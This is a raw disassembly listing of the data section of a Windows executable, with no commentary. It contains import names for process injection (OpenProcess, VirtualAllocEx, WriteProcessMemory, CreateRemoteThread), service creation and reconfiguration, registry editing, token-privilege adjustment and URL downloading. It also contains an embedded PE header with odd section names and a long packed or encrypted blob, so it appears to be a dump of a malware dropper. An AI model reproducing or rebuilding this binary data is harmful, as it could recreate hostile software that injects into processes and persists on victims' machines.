dd 40FE1E00h, 0Fh dup(0)
dd 40FE1E00h, 0Fh dup(0)
dd 40FE1E00h, 0Fh dup(0)
dd 7 dup(4101A400h), 7F7F7F00h, 2 dup(7F7F7F7Fh), 7F7F7Fh
dd 4101A500h, 2 dup(4101A400h), 0
dd 0F0000000h, 7Fh, 0F8000000h, 7Fh, 90000000h, 3Ch, 40000000h
dd 3Eh, 32000000h, 40h, 0
dd 11A8400h, 2 dup(0)
dd 122AE00h, 11CC400h, 11BE400h, 2 dup(0)
dd 124B200h, 11E2400h, 11C4800h, 2 dup(0)
dd 1251C00h, 11E8800h, 11CA800h, 2 dup(0)
dd 1253C00h, 11EE800h, 11CB000h, 2 dup(0)
dd 1259800h, 11EF000h, 5 dup(0)
dd 11F0400h, 11F1400h, 11F3000h, 11F4800h, 11F6000h, 11F7000h
dd 11F8000h, 11F9600h, 11FA400h, 11FBA00h, 11FCA00h, 11FDA00h
dd 11FEC00h, 1200000h, 1200E00h, 1202000h, 1202800h, 1203E00h
dd 1204E00h, 1205C00h, 1206E00h, 1207E00h, 1208C00h, 1209C00h
dd 120B000h, 120BC00h, 120D200h, 120EC00h, 120FA00h, 1211000h
dd 1211C00h, 1212800h, 1213800h, 1214400h, 1215E00h, 1217400h
dd 1218200h, 1219200h, 121A400h, 121B400h, 121C400h, 121D800h
dd 121EA00h, 121FE00h, 1221000h, 1222600h, 1223C00h, 1224A00h
dd 1225E00h, 1227A00h, 1228C00h, 1229C00h, 125A400h, 125B400h
dd 125C200h, 125D200h, 125E200h, 125F000h, 1260200h, 1260E00h
dd 1261C00h, 1262A00h, 1263600h, 1264400h, 1265000h, 1265C00h
dd 1266C00h, 1268400h, 1269200h, 1269E00h, 126B400h, 126BE00h
dd 126CC00h, 126E800h, 1270200h, 1271000h, 1272200h, 1273400h
dd 1274C00h, 1276600h, 1277600h, 1278600h, 1279200h, 127A200h
dd 127BA00h, 127CC00h, 127D800h, 0
dd 122BC00h, 122CE00h, 122E000h, 122EE00h, 122FE00h, 1230E00h
dd 1232E00h, 1234A00h, 1235A00h, 1236C00h, 1237C00h, 1239200h
dd 123A800h, 123C000h, 123D800h, 123E800h, 123FA00h, 1240A00h
dd 1241E00h, 1243200h, 1245000h, 1246E00h, 1248600h, 1249A00h
dd 0
dd 7300h, 7480h, 1780h, 1580h, 380h, 1280h, 0C80h, 980h
dd 480h, 280h, 0D80h, 180h, 0F80h, 1080h, 1380h, 0A80h
dd 3480h, 680h, 3980h, 0B80h, 1480h, 1180h, 6F80h, 80h
dd 1252800h, 0
dd 1254A00h, 1255A00h, 1256E00h, 1258400h, 0
dd 11F0400h, 11F1400h, 11F3000h, 11F4800h, 11F6000h, 11F7000h
dd 11F8000h, 11F9600h, 11FA400h, 11FBA00h, 11FCA00h, 11FDA00h
dd 11FEC00h, 1200000h, 1200E00h, 1202000h, 1202800h, 1203E00h
dd 1204E00h, 1205C00h, 1206E00h, 1207E00h, 1208C00h, 1209C00h
dd 120B000h, 120BC00h, 120D200h, 120EC00h, 120FA00h, 1211000h
dd 1211C00h, 1212800h, 1213800h, 1214400h, 1215E00h, 1217400h
dd 1218200h, 1219200h, 121A400h, 121B400h, 121C400h, 121D800h
dd 121EA00h, 121FE00h, 1221000h, 1222600h, 1223C00h, 1224A00h
dd 1225E00h, 1227A00h, 1228C00h, 1229C00h, 125A400h, 125B400h
dd 125C200h, 125D200h, 125E200h, 125F000h, 1260200h, 1260E00h
dd 1261C00h, 1262A00h, 1263600h, 1264400h, 1265000h, 1265C00h
dd 1266C00h, 1268400h, 1269200h, 1269E00h, 126B400h, 126BE00h
dd 126CC00h, 126E800h, 1270200h, 1271000h, 1272200h, 1273400h
dd 1274C00h, 1276600h, 1277600h, 1278600h, 1279200h, 127A200h
dd 127BA00h, 127CC00h, 127D800h, 0
dd 122BC00h, 122CE00h, 122E000h, 122EE00h, 122FE00h, 1230E00h
dd 1232E00h, 1234A00h, 1235A00h, 1236C00h, 1237C00h, 1239200h
dd 123A800h, 123C000h, 123D800h, 123E800h, 123FA00h, 1240A00h
dd 1241E00h, 1243200h, 1245000h, 1246E00h, 1248600h, 1249A00h
dd 0
dd 7300h, 7480h, 1780h, 1580h, 380h, 1280h, 0C80h, 980h
dd 480h, 280h, 0D80h, 180h, 0F80h, 1080h, 1380h, 0A80h
dd 3480h, 680h, 3980h, 0B80h, 1480h, 1180h, 6F80h, 80h
dd 1252800h, 0
dd 1254A00h, 1255A00h, 1256E00h, 1258400h, 0
db 0
db 2 dup(0), 47h
aEttickcount db 'etTickCount',0
db 0
db 2 dup(0), 49h
aNitializecriti db 'nitializeCriticalSection',0
db 2 dup(0), 45h
aNtercriticalse db 'nterCriticalSection',0
db 0
db 2 dup(0), 4Ch
aEavecriticalse db 'eaveCriticalSection',0
db 0
db 2 dup(0), 47h
aEtstdhandle db 'etStdHandle',0
db 0
db 2 dup(0), 47h
aEtlocaltime db 'etLocalTime',0
db 0
db 2 dup(0), 47h
aEtmodulefilena db 'etModuleFileNameA',0
align 4
db 0
aLocalalloc_0 db 'LocalAlloc',0
db 0
db 2 dup(0), 43h
aReatefilemappi db 'reateFileMappingA',0
align 4
db 0
aGetlasterror_2 db 'GetLastError',0
align 4
db 0
aMapviewoffil_0 db 'MapViewOfFile',0
align 4
db 0
aUnmapviewoff_0 db 'UnmapViewOfFile',0
db 2 dup(0), 4Fh
aPenfilemapping db 'penFileMappingA',0
dd 43000000h, 65736F6Ch, 646E6148h, 656Ch, 6D6F4300h, 65726170h
dd 69727453h, 41676Eh, 53000000h, 7065656Ch, 49000000h
dd 7265746Eh, 6B636F6Ch, 78456465h, 6E616863h, 6567h, 65724300h
dd 4D657461h, 78657475h, 41h, 65704F00h, 74754D6Eh, 417865h
dd 43000000h, 74616572h, 6F725065h, 73736563h, 41h, 74655300h
dd 7473614Ch, 6F727245h, 72h, 6C654400h, 46657465h, 41656C69h
dd 47000000h, 65547465h, 6150706Dh, 416874h, 47000000h
dd 65547465h, 6946706Dh, 614E656Ch, 41656Dh, 43000000h
dd 4679706Fh, 41656C69h, 53000000h, 69467465h, 7441656Ch
dd 62697274h, 73657475h, 41h, 746E4900h, 6F6C7265h, 64656B63h
dd 68637845h, 65676E61h, 646441h, 45000000h, 50746978h
dd 65636F72h, 7373h, 69615700h, 726F4674h, 676E6953h, 624F656Ch
dd 7463656Ah, 6C000000h, 63727473h, 4169706Dh, 6C000000h
dd 63727473h, 416E7970h, 43000000h, 74616572h, 65764565h
dd 41746Eh, 53000000h, 76457465h, 746E65h, 57000000h, 46746961h
dd 754D726Fh, 7069746Ch, 624F656Ch, 7463656Ah, 73h, 74654700h
dd 656C6946h, 72747441h, 74756269h, 417365h, 52000000h
dd 74657365h, 6E657645h, 74h, 6E694600h, 73655264h, 6372756Fh
dd 4165h, 7A695300h, 52666F65h, 756F7365h, 656372h, 4C000000h
dd 5264616Fh, 756F7365h, 656372h, 4C000000h, 526B636Fh
dd 756F7365h, 656372h, 47000000h, 75437465h, 6E657272h
dd 6F725074h, 73736563h, 56000000h, 75747269h, 6C416C61h
dd 45636F6Ch, 78h, 74654700h, 75646F4Dh, 6148656Ch, 656C646Eh
dd 41h, 74654700h, 636F7250h, 72646441h, 737365h, 57000000h
dd 65746972h, 636F7250h, 4D737365h, 726F6D65h, 79h, 65724300h
dd 52657461h, 746F6D65h, 72685465h, 646165h, 4F000000h
dd 506E6570h, 65636F72h, 7373h, 74654700h, 74697845h, 65646F43h
dd 65726854h, 6461h, 65724300h, 54657461h, 686C6F6Fh, 33706C65h
dd 616E5332h, 6F687370h, 74h, 6F725000h, 73736563h, 69463233h
dd 747372h, 50000000h, 65636F72h, 32337373h, 7478654Eh
dd 47000000h, 6F437465h, 6E616D6Dh, 6E694C64h, 4B004165h
dd 454E5245h, 2E32334Ch, 6C6C64h, 52000000h, 72436765h
dd 65746165h, 4579654Bh, 4178h, 67655200h, 56746553h, 65756C61h
dd 417845h, 52000000h, 6C436765h, 4B65736Fh, 7965h, 67655200h
dd 6E65704Fh, 4579654Bh, 4178h, 67655200h, 656C6544h, 654B6574h
dd 4179h, 696E4900h, 6C616974h, 53657A69h, 72756365h, 44797469h
dd 72637365h, 6F747069h, 72h, 74655300h, 75636553h, 79746972h
dd 63736544h, 74706972h, 6144726Fh, 6C63h, 74654700h, 72657355h
dd 656D614Eh, 41h, 65704F00h, 4D43536Eh, 67616E61h, 417265h
dd 4F000000h, 536E6570h, 69767265h, 416563h, 43000000h
dd 65736F6Ch, 76726553h, 48656369h, 6C646E61h, 65h, 65755100h
dd 65537972h, 63697672h, 61745365h, 737574h, 43000000h
dd 676E6168h, 72655365h, 65636976h, 666E6F43h, 416769h
dd 43000000h, 676E6168h, 72655365h, 65636976h, 666E6F43h
dd 41326769h, 53000000h, 74726174h, 76726553h, 41656369h
dd 43000000h, 74616572h, 72655365h, 65636976h, 41h, 6C654400h
dd 53657465h, 69767265h, 6563h, 67655200h, 72657551h, 6C615679h
dd 78456575h, 41h, 74655300h, 76726553h, 53656369h, 75746174h
dd 73h, 67655200h, 65747369h, 72655372h, 65636976h, 6C727443h
dd 646E6148h, 4172656Ch, 53000000h, 74726174h, 76726553h
dd 43656369h, 446C7274h, 61707369h, 65686374h, 4172h, 6F6F4C00h
dd 5070756Bh, 69766972h, 6567656Ch, 756C6156h, 4165h, 65704F00h
dd 6F72506Eh, 73736563h, 656B6F54h, 6Eh, 6A644100h, 54747375h
dd 6E656B6Fh, 76697250h, 67656C69h, 41007365h, 50415644h
dd 2E323349h, 6C6C64h, 7300h, 7400h, 1700h, 1500h, 300h
dd 1200h, 0C00h, 900h, 400h, 200h, 0D00h, 100h, 0F00h
dd 1000h, 1300h, 0A00h, 3400h, 600h, 3900h, 0B00h, 1400h
dd 1100h, 6F00h, 4F535700h, 32334B43h, 6C6C642Eh, 47000000h
dd 70497465h, 77726F46h, 54647261h, 656C6261h, 68706900h
dd 7061706Ch, 6C642E69h, 6Ch, 746E4900h, 656E7265h, 65704F74h
dd 416Eh, 746E4900h, 656E7265h, 65704F74h, 6C72556Eh, 41h
dd 746E4900h, 656E7265h, 6F6C4374h, 61486573h, 656C646Eh
dd 49000000h, 7265746Eh, 5274656Eh, 46646165h, 656C69h
dd 4E495700h, 54454E49h, 6C6C642Eh, 57000000h, 65746972h
dd 736E6F43h, 41656C6Fh, 54000000h, 6553736Ch, 6C615674h
dd 6575h, 65724300h, 54657461h, 61657268h, 64h, 73655200h
dd 54656D75h, 61657268h, 64h, 69784500h, 72685474h, 646165h
dd 47000000h, 74537465h, 75747261h, 666E4970h, 416Fh, 6C745200h
dd 69776E55h, 646Eh, 61654800h, 65724370h, 657461h, 48000000h
dd 44706165h, 72747365h, 796Fh, 61654800h, 6C6C4170h, 636Fh
dd 61654800h, 41655270h, 636F6C6Ch, 48000000h, 46706165h
dd 656572h, 48000000h, 53706165h, 657A69h, 48000000h, 56706165h
dd 64696C61h, 657461h, 44000000h, 74656C65h, 69724365h
dd 61636974h, 6365536Ch, 6E6F6974h, 43000000h, 74616572h
dd 6C694665h, 4165h, 736C5400h, 6F6C6C41h, 63h, 74654700h
dd 72727543h, 54746E65h, 61657268h, 644964h, 54000000h
dd 7246736Ch, 6565h, 736C5400h, 56746547h, 65756C61h, 55000000h
dd 6E61686Eh, 64656C64h, 65637845h, 6F697470h, 6C69466Eh
dd 726574h, 47000000h, 79537465h, 6D657473h, 656D6954h
dd 69467341h, 6954656Ch, 656Dh, 74654700h, 656C6946h, 65707954h
dd 44000000h, 696C7075h, 65746163h, 646E6148h, 656Ch, 74655300h
dd 646E6148h, 6F43656Ch, 746E75h, 47000000h, 6E457465h
dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 46000000h
dd 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h
dd 4173h, 72695600h, 6C617574h, 6F6C6C41h, 63h, 72695600h
dd 6C617574h, 72657551h, 79h, 69725700h, 69466574h, 656Ch
dd 74655300h, 48647453h, 6C646E61h, 65h, 74655300h, 736E6F43h
dd 43656C6Fh, 486C7274h, 6C646E61h, 7265h, 74655300h, 656C6946h
dd 6E696F50h, 726574h, 52000000h, 46646165h, 656C69h, 53000000h
dd 6E457465h, 46664F64h, 656C69h, 7 dup(0)
dd 501C800h, 47h, 1000000h, 0A00h, 1800h, 80h, 501C800h
dd 47h, 1000000h, 1F4100h, 3000h, 80h, 501C800h, 47h, 1000000h
dd 41900h, 4800h, 1405800h, 1607800h, 2 dup(0)
dd 505A4D00h, 200h, 0F000400h, 0FFFF00h, 0B800h, 0
dd 1A004000h, 8 dup(0)
dd 10000h, 10BA00h, 9B41F0Eh, 1B821CDh, 9021CD4Ch, 69685490h
dd 72702073h, 6172676Fh, 756D206Dh, 62207473h, 75722065h
dd 6E75206Eh, 20726564h, 336E6957h, 240A0D32h, 37h, 21h dup(0)
dd offset dword_455000
dd 3014C00h, 3 dup(0)
dd 8E00E000h, 10BA1h, 3 dup(0)
dd 46B7A00h, 100000h, 2 dup(0)
dd 100010h, 20000h, 2 dup(0)
dd 400h, 0
dd 4800000h, 40000h, 0
dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0
dd 1000h, 2 dup(0)
dd 4703800h, 2800h, 6 dup(0)
dd 4706000h, 1000h, 14h dup(0)
dd 4E4D4400h, 30h, 3000000h, 100000h, 5 dup(0)
dd 6000h, 4E4D44C0h, 31h, 15BA300h, 3100000h, 15C0000h
dd 40000h, 3 dup(0)
dd 6000h, 4E4D44E0h, 32h, 7800h, 4700000h, 7800h, 1600000h
dd 3 dup(0)
dd 6000h, 0C0h, 63h dup(0)
dd 0BFFC1800h, 88BDFFB7h, 0E9BFD267h, 71A8A055h, 4E30D46Ah
dd 0F278A288h, 6ECE3829h, 0CBC43273h, 0A05EEE4Ch, 8DC417EFh
dd 943DF855h, 0D3572A8Bh, 0DEFDBFF1h, 4EA7D312h, 6C1442DCh
dd 0CCCBD282h, 5DA14CD0h, 187289E5h, 9A1B586Eh, 0B96CF766h
dd 12F23F75h, 0C13EF681h, 0B1509B9Ch, 5513FD5Fh, 8C1B8CC2h
dd 0D0A3B6A7h, 341060C7h, 51A42F68h, 0D5F10D3Fh, 0F4B323E0h
dd 727AEB91h, 0F4F7DD6Bh, 20597160h, 0F0CDAB66h, 2A9A0932h
dd 8AC84C78h, 20B3B03Ah, 0B48D58C9h, 6C6E3196h, 0C0CF167Ah
dd 0BE8FE7C6h, 180CD87Ah, 919C4CFAh, 83D8567Ch, 2772C439h
dd 8BD59291h, 0A9117286h, 95A4EF41h, 0FF569B23h, 815296E6h
dd 0C700A2FCh, 308038C7h, 4397D0BEh, 0FF015D0Dh, 8C54B81Ch
dd 6D8E27EFh, 0EF36BD93h, 97E071C6h, 0D3326DBh, 5FBC4876h
dd 250AED34h, 72E42D27h, 74EA6A4Eh, 32BA98BDh, 0DF8A74D6h
dd 20CD816Ah, 4648FA73h, 6054AAF8h, 9A5BDB54h, 93FC4B10h
dd 8FFB318Eh, 7069B923h, 49E9E24h, 0A9B1FDF1h, 5C6C37Ch
dd 0BDBA6C49h, 0B565A908h, 0E00923BDh, 0F14D1EE5h, 0E0D9B79Bh
dd 35E74017h, 0D1744662h, 135ADCC2h, 41CC01ABh, 597DCC9Ch
dd 0B39F56F2h, 0D279D70Bh, 962E9CEh, 0B1A635B3h, 0F7CBFC98h
dd 0C6E3A477h, 0C3354CB6h, 0C35CDA7Bh, 1AE82FF6h, 5ECEFC90h
dd 1C495F27h, 0DE73AB12h, 0AE9FD6CEh, 99B79843h, 1C20401Bh
dd 776FBFE8h, 0AEE9FEFEh, 0B5FC3324h, 925A1A5Dh, 4FEA509h
dd 839EF558h, 2B88788h, 0ED2D3E77h, 2A602CFDh, 7FD7D8C2h
dd 0AC5160EDh, 0C980F8EAh, 0A3907764h, 831C40A6h, 0C21C0B76h
dd 46231F4Dh, 0A0614AA3h, 6DFFB851h, 0DB6214B4h, 0CA4B1831h
dd 0D3C79C16h, 57270583h, 20BF0AFDh, 73292384h, 196A8961h
dd 71809263h, 5048DE8Dh, 0FD2AC21Eh, 0B6FDD348h, 0E08C1246h
dd 0C206963Ch, 5FFED092h, 51477C03h, 4833D39Dh, 79345C52h
dd 311698D3h, 0F16AB057h, 39AB9D0h, 0F566CBD0h, 8C235F7Bh
dd 906ABA0h, 0E453ABACh, 6753C235h, 0C7E9DE66h, 668094CAh
dd 6CDC075Eh, 0D9DC07C9h, 3B810D31h, 0CC8C4FE6h, 73A33F37h
dd 0C3E8B320h, 0FF4FB063h, 1FF0B428h, 93F17AB4h, 0F1330106h
dd 0ED8B5E48h, 4C41FBDAh, 0A76D494Dh, 2647ABEFh, 0DFEA429Bh
dd 7D8099E8h, 0FFBE6981h, 0EA955FF7h, 0FF07B6CFh, 0D54B23B4h
dd 0D514AFC9h, 0DEA4261Bh, 85568A5Fh, 0BAFE379Fh, 96FC55A3h
dd 83CE97D8h, 0E90C5111h, 0C8512214h, 0D9722E71h, 4F57355Eh
dd 8DB11A71h, 7248FC0Ah, 0A1383ADh, 81E7D21Bh, 0C9037951h
dd 0E273317h, 0C3972835h, 67A44C9Bh, 0CAC3F452h, 348AD463h
dd 0C04C70E9h, 0C52D3E73h, 56317A84h, 29D5BE76h, 8AB65714h
dd 8D423400h, 0F4851BABh, 813E125Eh, 1D7E184Ah, 6515A5E5h
dd 0CF4C130Bh, 66FF76A3h, 0B266B3FFh, 744FC062h, 816941A3h
dd 0C8CC18B3h, 494D9C8Ch, 19C6D831h, 0E9260885h, 17D84391h
dd 0B053C1B2h, 0F20C42AAh, 0FACA58CCh, 0EC647B07h, 3234C99Fh
dd 0F74C9ABDh, 0B19BF5F3h, 7B3244ADh, 6DD19A6Eh, 0F8540CADh
dd 54CF24Dh, 52AAF9D8h, 51E75BFAh, 53918968h, 7566F066h
dd 84CAF36Dh, 973FD52Bh, 5E376BEFh, 2EBAB8h, 0FC78F401h
dd 0B7FAEF07h, 293BC463h, 2B3B2ED8h, 0B07970E6h, 7EC13352h
dd 0A6A0506Ah, 2E27E264h, 83EDA6CCh, 3A1335E7h, 3C4C2C66h
dd 0A862A3D2h, 0F29AA1A3h, 0D24B6436h, 0DEBD2E90h, 98D7E877h
dd 74D38F64h, 62094C77h, 0EF14BA58h, 0A0B125E4h, 1A1798AAh
dd 4E9946AFh, 0DACE4431h, 878C0CB0h, 151C918Fh, 13FE48BAh
dd 0B02756FBh, 7BA48000h, 8B194E81h, 762D8DA6h, 0C29B73A8h
dd 6C03088Bh, 0F90932A2h, 0D6FD69C1h, 43F09BB3h, 48A1BED1h
dd 22639175h, 1245BFB1h, 0E68400FCh, 5E02F8D3h, 4A3995A0h
dd 0B9621E34h, 0A1EA393Ah, 0E6C4152Bh, 0E1DFD7C7h, 0CA06822Ah
dd 0F9F9E998h, 71BCB4E0h, 0ACD761Ah, 88CE6FA2h, 42EAA79Bh
dd 0A5A518C0h, 998518C5h, 7C187D6Eh, 5BD642FAh, 9EE48C83h
dd 0C20BC7E1h, 5B04C7E5h, 652D1DDCh, 0C5E51C0Eh, 3B47B8B8h
dd 517B5376h, 0E249411Dh, 49814538h, 77518C60h, 0DC0D7212h
dd 8D2EFD83h, 4305D919h, 33746CB5h, 3496D050h, 7BA0FB3Ch
dd 657A7D6Dh, 0DD187040h, 0FC0BD469h, 0A8C6766Ch, 0D46FB730h
dd 1EE77E49h, 53673C3Ch, 56322F21h, 0A479A327h, 54451B9Bh
dd 3F160177h, 25A62948h, 1F72EBB6h, 0A1D2EFD1h, 47D49BC5h
dd 421EE18Bh, 5B745F5Ah, 798C058Fh, 9DE6EFBFh, 1BB7CAEAh
dd 902CECB3h, 0EE843F6Eh, 3CDEAE9Bh, 39671734h, 0A1B84AB1h
dd 8CF1F39Fh, 243D8640h, 9F6A986Eh, 1BC65ADDh, 5E6D3h
dd 0D63E81F4h, 385A084Ch, 83C2B9A3h, 0A7589E81h, 7EA66B96h
dd 9FAADACFh, 571B6BF0h, 0F7B17B1Fh, 36F3D53h, 573BF730h
dd 840A7973h, 79691ECDh, 66C2BF63h, 0B4516237h, 7D2D53D8h
dd 5C556C6Ch, 0A25DCDF6h, 0DDB7753Bh, 33037DDBh, 114CBEF6h
dd 0DEAAFE5Ah, 45EE7E3Ah, 8B92C259h, 9344121h, 0AC42CCC6h
dd 2CA96E6h, 4B06A108h, 1CAD4350h, 0F4EC472Ah, 0F195B28Bh
dd 0D2A400A9h, 3F2F439Ch, 0AB249ED1h, 0F7F6F20Fh, 0BE50830Bh
dd 0C9AF6ABCh, 36FA4B1h, 2007678Dh, 6EA603ABh, 0B7F33CEBh
dd 0E22E9991h, 0FAD834C2h, 0CF8F33D0h, 0CA914019h, 4A35EF29h
dd 0C713D369h, 0C9AD3649h, 7FAE7CECh, 19DE553Bh, 6AFF0C9Fh
dd 0FA871837h, 7F33B840h, 70402016h, 993EE58h, 0CBEC49Bh
dd 70C801Ah, 4A60E09Eh, 560242DBh, 0C1990A8Ah, 0D4C191FDh
dd 0DDCAA595h, 0BEB398D5h, 505599E4h, 88E8E10Fh, 0E1907816h
dd 0BA6F5C9Eh, 0E9C89C8Eh, 94F89D3Fh, 4473DF4Bh, 3E2E6638h
dd 863A3086h, 7082F2B0h, 505EB0CDh, 896F1359h, 5D539A49h
dd 0E41FE16Fh, 5C507622h, 5CAAD96Eh, 0D8C95E85h, 6D7A8438h
dd 59336EA1h, 28458170h, 500C24AFh, 0A0E0E4Dh, 7D43151Ah
dd 9367F8EDh, 708170E4h, 0B7F6D3B7h, 0B4B423D3h, 0A105AA06h
dd 77096CA2h, 11770574h, 0FA4F6B6Bh, 10D68B5h, 4D1614C3h
dd 0B442F7Bh, 0E05BA40Ah, 497BE480h, 0A9C91AB7h, 1E2CC35Dh
dd 4805A269h, 679550B8h, 54BF5EAh, 0BC058752h, 63A75C98h
dd 3CA388F4h, 6B857C07h, 0B5B3FE7Ah, 66009D15h, 5BC29661h
dd 39990A21h, 0CD74F380h, 113C2871h, 7749435Ah, 7887A038h
dd 6CAC81C5h, 0FBF503Ch, 0C9F4D786h, 8592452Bh, 8B40DE3Fh
dd 76D49C36h, 0D6A43071h, 0E4CACD96h, 27B08626h, 79FC2FCEh
dd 9E8D242Dh, 49139761h, 92854310h, 0A40A2EBh, 3D0C2168h
dd 42C63C07h, 6DAD3BF2h, 0A6033E13h, 0C1AC6C70h, 0D14D7EA0h
dd 475A9682h, 98B93ACBh, 444B6C8Eh, 926CCAEFh, 0D55D8D1Dh
dd 0E10BD861h, 7B3DEEBCh, 0D5BBABC2h, 8864B9A1h, 99CFA77h
dd 0C2456B09h, 22B124F2h, 19DCA8F4h, 7D543C21h, 14C75EF9h
dd 0D74E0468h, 0C4FE3FDh, 67E0EFD2h, 403C06E0h, 0E3077523h
dd 27C3855Ah, 4D3A630Fh, 17C0FA1Eh, 0CC879EDBh, 0C2C5167Dh
dd 0BA8683BEh, 5C7B0E17h, 10310067h, 9AF0DAD1h, 48873F56h
dd 0A38CB4D0h, 0EC225971h, 2B1DA0DFh, 547F2B90h, 0BCB48631h
dd 875EB303h, 233B224h, 0B96C141Ch, 82659FCAh, 1FADF0E6h
dd 0F7973C3Bh, 0E116EE88h, 354125C5h, 155AFEC2h, 9DE93BB4h
dd 561891DAh, 1F4E9E34h, 4C6CD5ECh, 743A11C7h, 21D2E3A6h
dd 0C87E15EEh, 3720F149h
dd 0B978850Ch, 0B95D3305h, 970403AEh, 649B18Ch, 9121F266h
dd 0E8C87D1Dh, 0A7F08D73h, 3649E72Ah, 2F76CD0Bh, 1803E58Ah
dd 3D29CF36h, 9774BAD8h, 62423797h, 0B2EA4CC7h, 0C50F4928h
dd 97D395BBh, 7BC27AF4h, 890AA878h, 0A5025A9h, 0BC5D98F3h
dd 872CC088h, 9E8E1E0Ah, 53D1634Eh, 0E5299F54h, 83F4DD57h
dd 0AA1140DDh, 0ECE8BC4Dh, 0AA8AE4E1h, 0EE6B3A9Ah, 347D439h
dd 35889EDDh, 76E8978Fh, 7307A7B2h, 1AF517B7h, 0A2855975h
dd 572E69CCh, 14914129h, 15D73CDDh, 4F8AA706h, 635E1B44h
dd 0FC4BE63Ch, 1A48148Eh, 95B54042h, 0D9C434CFh, 28F8651Ch
dd 0E8AD8B56h, 33013DB6h, 0D7213C36h, 39E53F67h, 0BC5C184Fh
dd 8E960331h, 46C07A74h, 0DFEA13EAh, 0EA5A835Bh, 0E4B3077Fh
dd 7D745A83h, 0F933533Dh, 73AE15Dh, 1FB53DAh, 6F20FA3Ah
dd 0F84BA2F5h, 14A2706h, 0F64E88D4h, 0C3349309h, 7D7745D0h
dd 968F470Fh, 40BCDF44h, 109893C6h, 401475CBh, 3946F40Bh
dd 0E1F69E60h, 222ED86Dh, 2AB36C0Eh, 0EE7D79DBh, 0B49E5B5Ah
dd 0E75223B5h, 438ED997h, 0B9D96590h, 5B37824Fh, 4DB59040h
dd 0B84661BBh, 673E9411h, 1820CA1Dh, 9087BE1Ch, 220AFCA8h
dd 7B971302h, 9B8B04BEh, 674BD4ABh, 2FE7B418h, 2B4580A1h
dd 47C7F451h, 0CE2AD280h, 564E1999h, 0EBBA65E1h, 71033D0Dh
dd 0E873C1F3h, 3E6BC1D5h, 0E06E9551h, 0DA872765h, 21B60A6Ah
dd 6CA55B50h, 2FDD0D2Ch, 0E5469399h, 0D92E4197h, 0C84F1D7Ah
dd 2DEA3857h, 315DA557h, 561E52B4h, 2A8DBC65h, 0A0F94FFDh
dd 0E4EFBDD6h, 7BE49BD3h, 33492850h, 0D591891Ch, 59F30E42h
dd 0A43A6D44h, 9379D307h, 0FD613CAFh, 1BB97F59h, 214AF9C2h
dd 0FF508E05h, 0C6BFF40Ah, 9ADB77ABh, 0FA718D40h, 8885A08Fh
dd 0FB2D87D2h, 0C026081Ah, 27FC2588h, 0F6AD4180h, 0C98DAD69h
dd 85E736D0h, 0E04E8A4Ah, 697B068Eh, 50B19769h, 1D4C70F4h
dd 4A75957Bh, 9A5973E6h, 0E7E14CE2h, 2C72C116h, 0B0408DAAh
dd 0BBF22DE1h, 81612CE6h, 2257026Eh, 54CAA139h, 0BCF4D08Ch
dd 1D42944Ch, 446E8828h, 588AEA66h, 78446404h, 0CCC03F4Bh
dd 0F0B0851h, 5E7BB13Ch, 5BA785E6h, 5BCE57DBh, 0FF1F288Bh
dd 31CCD659h, 33018C4Fh, 0A75816AAh, 150B3C2Fh, 0A91245D1h
dd 0D1BBAB6Ch, 7BD6A3B2h, 40B1635Eh, 7DCB2C7Ch, 8F7948BCh
dd 9D837BCEh, 221EDB8Dh, 4DFAB302h, 0D930C809h, 694F9E59h
dd 588F72ECh, 10B8686Ah, 5AA0F5AFh, 5272CC22h, 0A629D55Ah
dd 617100E0h, 461B53FEh, 34497A7Eh, 74CED957h, 19B5E5CCh
dd 0DB0AE13Fh, 0FFCE0B56h, 0DB2FD595h, 3DEEA4D5h, 54384ADCh
dd 0C7E48C57h, 0FFF80A09h, 38EB7F76h, 8F2A675Eh, 9003762Ch
dd 9AEB3D8Dh, 76A5CED9h, 64180831h, 0D183A6A8h, 0DA5817A0h
dd 2E38FCAEh, 4770219Eh, 6E70BD16h, 23945A99h, 69875FC1h
dd 24BEC47h, 19D6000Eh, 0C0443C64h, 7B69AA64h, 0A801531Fh
dd 0C93A1737h, 0EA7D0F9Dh, 0AD2C12CCh, 0FC033D4Ch, 0DA8AF4ADh
dd 577AA942h, 952653F8h, 3E1A17F2h, 73C71C04h, 9D7F05BCh
dd 0F4F7973Ah, 11DAFEABh, 1DFF0877h, 0DBF00035h, 1AE0DB24h
dd 0ECA0ECD3h, 6D6136AAh, 0AA5F771Ch, 70E32B90h, 0E8FDAF69h
dd 0AD3AADC3h, 2BF73163h, 41213879h, 1D22A608h, 9AF97963h
dd 5C2696F3h, 45430BAFh, 4C0F985h, 0CFEBECFh, 69326AA6h
dd 0A271C26Bh, 0C17410CDh, 67C35FBh, 0EC7F876h, 75D3F5D3h
dd 4C09636Dh, 0E3A62A2h, 8FA54974h, 8DFA2822h, 6E12ED5h
dd 89D70F60h, 0F6BA3BA5h, 18FDBE51h, 3BEB2E53h, 37234BB1h
dd 7BDEECEAh, 8C1608B3h, 0A4AD0CFDh, 0D0CC7C5Dh, 11E8C079h
dd 0BE77402Bh, 0C455EBCDh, 117AB801h, 31AF3700h, 1C6865B7h
dd 96383911h, 0C036B79Eh, 0C1560AE6h, 7ECCFB95h, 0E1D94F2Eh
dd 16642848h, 0C68D35A6h, 0BC5571Eh, 39E7678Ch, 8CEBE6BEh
dd 5B1168DAh, 0B4FADEAFh, 4C403ABBh, 8C4FAE48h, 0C7E0A65Ch
dd 0FFA16706h, 0C455685h, 84B66193h, 0C4F70B14h, 80B25432h
dd 0C43DC39Ah, 5D1B0726h, 6014E5FEh, 1330DF97h, 0EEB2E7DFh
dd 0BC12D0D5h, 0F56ED12Ah, 1880566h, 9E1EB1E6h, 371E5CA2h
dd 72127A84h, 0F63B8310h, 80D493D4h, 0E7E0ABD6h, 0A53D8E7Fh
dd 8514F2F6h, 23622132h, 0C662626h, 0C96BAE69h, 2700631Dh
dd 5791B604h, 0B5327400h, 14D55FEAh, 0FF01C0BEh, 2EC2B1A6h
dd 983C64E0h, 33CFB462h, 13B2B3CCh, 0B50B6BDBh, 0B239F4Dh
dd 88731F99h, 27C11A04h, 0B22283B7h, 0A8BD016Ch, 9A2AA7D0h
dd 0EC21EAAFh, 0D7E5DAADh, 0FC0E8632h, 0DD68ADE2h, 5EA4EA30h
dd 0B9B57E76h, 0FF4796F1h, 57431CD2h, 0B091D9F5h, 38EB72DCh
dd 72A88B3Fh, 0AEC86CA5h, 67FDF308h, 0BE4A1BD2h, 557B04C9h
